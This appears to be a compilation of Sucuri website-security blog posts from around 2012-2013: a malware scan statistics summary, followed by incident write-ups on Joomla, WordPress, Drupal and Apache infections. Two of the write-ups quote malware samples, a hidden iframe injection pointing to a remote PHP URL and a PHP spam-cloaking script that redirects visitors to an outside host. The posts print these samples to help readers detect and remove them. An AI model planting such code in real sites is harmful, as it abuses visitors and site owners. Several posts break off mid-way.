2012 Web Malware Trends Report Summary

Sucuri is a website security company focused on the detection and remediation of web malware. In 2012, via our SiteCheck scanner, we scanned 9,953,729 unique domains. This small report is based on the data we were able to compile from that platform and our analysis of that same data.

2012 Web Malware Trend Report Summary

The Foundation


Healthy Website View

We consider a site to be healthy when we cannot identify any unauthorized modification of its content. If any type of malware including injections, SPAM, defacements, etc. are found on a site, or if it is blacklisted by any major security company or search engine, we consider it to be compromised. Based on this view, only 74% of the sites we scan were deemed to be healthy. All the others were either blacklisted or had some malicious injection on them.

  • Total unique domains scanned and analyzed: 9,953,729
  • Sites in which a malicious injection was identified: 15%
  • Sites in which a malicious injection was identified and it was also blacklisted: 4%
  • Sites that were only blacklisted: 7%

Note that the 15% represents unique domains that were classified malicious only by our scanner via our detection mechanism. The blacklisted percentage is based on data made available by the following blacklist API’s:

  • Google
  • McAfee
  • Yandex
  • Norton
  • PhishTank


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Website Malware – Fixing Joomla SPAM Hacks – Conditional Payloads

Our Senior Malware Engineer, Fioravante Cavallari, is at it again. I think he has made it his personal mission in life to expel all Joomla hacks, he loves them that much – true story.. ;)

In all seriousness, he found another gem yesterday. It’s well written; it includes comments explaining what they are doing, uses proper syntax, it was broken up and sprinkled throughout another good file generating no errors, it wasn’t obfuscated and it leverages good variable naming conventions. What more can we ask for, right?!?!?!

Don’t ask how we found it, a true gentlemen never discloses his nightly affairs.

The Pretty Payload – Nice Conditional Malware

A few months ago I wrote about Conditional Malware, we’d categorize this one into the same family. In my post it was a very simple explanation and code base, you could clearly see the IP’s being filtered and what it was doing, here we have to think a bit. Remember, you’re not likely to find it in tact like this, it’ll likely be broken and sprinkled through out your file. Here you go:

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WordPress Plugin: Easy Digital Downloads – Security Flaw Discovered and Patched

Last night we were contacted by Adam Pickering about a security flaw discovered in Easy Digital Downloads (EDD), a free WordPress eCommerce plugin that allows you to sell digital downloads. If you use EDD and haven’t done so already, please make sure to upgrade to Version 1.4.4.2 immediately!

The plugin author, Pippin Williamson received word about the flaw within hours of it being validated, and had a patched version up on the WordPress Plugin Directory within the hour.

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Web Server Compromise – Debian Distro – Identify and Remove Corrupt Apache Modules

Came across another server compromise this week. Client was complaining that the following kept being injected into their JavaScript files:

document.write("<style.vb4brk { position:absolute; left:-1655px; top:-1476px} </style> 
<div class="vb4rk"><iframe 
src="httx:// 149.47.154.253/fee1f3119b234cb79f953e92281b12af/q.php" width="231" height="330">
</iframe></div>'); /*!

Fortunately, the client was working off a VPS. Doing so allowed us to dig deeper into the server and better address the issue. Looking at the server we quickly realized that a bad module had been injected. Unfortunately, because this was a Debian distribution, as such you can’t run the commands we provided in our last post.

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Dre Armeda Presenting on WordPress Security at WordCamp Phoenix 2013

Here is the video for the WordPress Security presentation at WordCamp Phoenix 2013:

Here is the slide deck from the presentation:

Leave us your comments below.

WordPress Security: 5 Steps To Reduce Your Risk

Often you hear the question, “What plugins should I use for WordPress Security?”. It’s a valid question, but I don’t think it’s the best approach if it’s the only question you’re asking, or the only action you’re taking. If you’re leaving the security of your blog to a plugin from a 3rd party alone, you’re doing it wrong!

WordPress-Security-Reduce-Risk-With-Less-Plugins
Risk reduction is the name of the game. A collective set of actions, tools, and processes all helping lower the risk of exploitation.

It’s Everyone’s Responsibility!

It starts with you. Follow these steps and you lower your risk floor significantly (without the use of a lot of plugins!):


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Website Security – The Importance of Access

Not sure why more emphasis isn’t put on access, but I’ll spend some time on it today. Understand though that this emphasis is not just something pulled out of the clouds. Instead it has come from months of thought and research – courtesy of client environments, enterprise incident handling cases and our own honey pots.

Website Security - Importance of Access

The Importance of Access

For some reason, what I have gathered, is that website owners, in their minds, think they are really ingenious. We think that what we know, no one else knows; the harsh reality is that’s so far from the truth. The are also those that buy into the idea that information security is an absolute, if only it were. Website owners have to learn to set their expectations, the InfoSec domain is about risk reduction. That is the first thing to understand.

While software vulnerabilities are a real threat, without tangible evidence, I am willing to bet that access is gaining ground on software vulnerabilities more than most realize. Still working on evidence to support this. A good thing to remember is that as a product becomes more secure, and the attack vectors decrease, access only increases in importance.

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WordPress SPAM Causing Headaches

It seems that SPAM is all the rave these days, wonder why, could it be because it’s a multi-million business?

In any event, detecting is always a challenge as is remediating. This is what it might look like if you use our free scanner to scan the website:

Sucuri Spam Detection

Besides some of the obvious things we have started seeing tactics used on Joomla sites on WordPress ones. They are using things like this:


&#64require_once(ABSPATH . '/wp-includes/Text/cache.php');

You’ll find this in your wp-config.php file more often than not. If you follow the cookie trail you’ll find that the cache.php contains code like this:


<?php
$uniq_ua_string=@$_SERVER['HTTP_USER_AGENT'];
$uniq_ref=@$_SERVER["HTTP_REFERER"];
$is_human=1;
if (stristr($uniq_ua_string,"googlebot"))$is_human=0;
if (stristr($uniq_ua_string,"bing"))$is_human=0;
if (stristr($uniq_ua_string,"yahoo"))$is_human=0;
if(@$is_human == 0 && preg_match('/^\/(?:index\.(?:php|html?))?$/', @$_SERVER['REQUEST_URI'])) {
@readfile(dirname(__FILE__)."/css.php");
exit;
}
if(preg_match('/viagra/i', $uniq_ref) > 0) {header("Location: http://vaptk.com/in.php?t=v&s=1");exit;}

?>

If you follow the trail further and go to the css.php file you’ll find all kinds of goodies that will be of particular interest:

Sucuri SPAM Payload

What can I say, sometimes it’s all about following the cookie trail.

When removing be sure to remove the &#64require_once and the payload as well. The good news is if you’re running our plugin you’ll quickly identify an integrity issue in wp-includes and wp-config that will allow you to quickly act to rectify the issue. Because of the time of injection we’d venture to say that the vector is likely compromised credentials to the server, likely via FTP.


Any questions let us know.

Website Malware – Drupal Injections Targeting Cookies

Many folks are unfamiliar with the Drupal CMS, it doesn’t enjoy the popularity that some others do like WordPress and Joomla, but its a powerful CMS none the less. What it does have in common with its counterparts is that its susceptible to attacks and infections. We don’t often write about it, but we do work on the platform. We decided to give it some attention this week because of the increased number of Drupal infections we’re seeing.

They’re slightly different when compared to other CMS applications and so is the remediation process. In this post we’ll show an infection that seems to be all the craze this week, findings courtesy of Fioravante Souza – one of Sr Malware Engineers.

The Payload

Most of the sites infected with this payload are also accompanied by other iframe injections. Those iframe injections are not special, they are often attached to every file – PHP, JS, HTML, and beging with document.write and reference some file like cgi?5 or cfg?11. If you have some terminal sense you should be able to find them and remove them, if you need help you can always use our free scanner, it’ll display any payloads hitting the readers browser. Here is the payload though that we were most interested in as it was obfuscated and very painful to find and remove.

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Website Malware – Sharp Increase in SPAM Attacks – WordPress & Joomla

This past week we have seen a sharp increase in the use of old tactics designed to poison your search engine results – also known as Search Engine Poisoning (SEP) attacks. If you use our free scanner, SiteCheck, you’ll likely see something like the following:

Sucuri - ViewState Infection

You’re probably wondering, what the heck, how is that SEO SPAM? Allow me to explain what this is doing.

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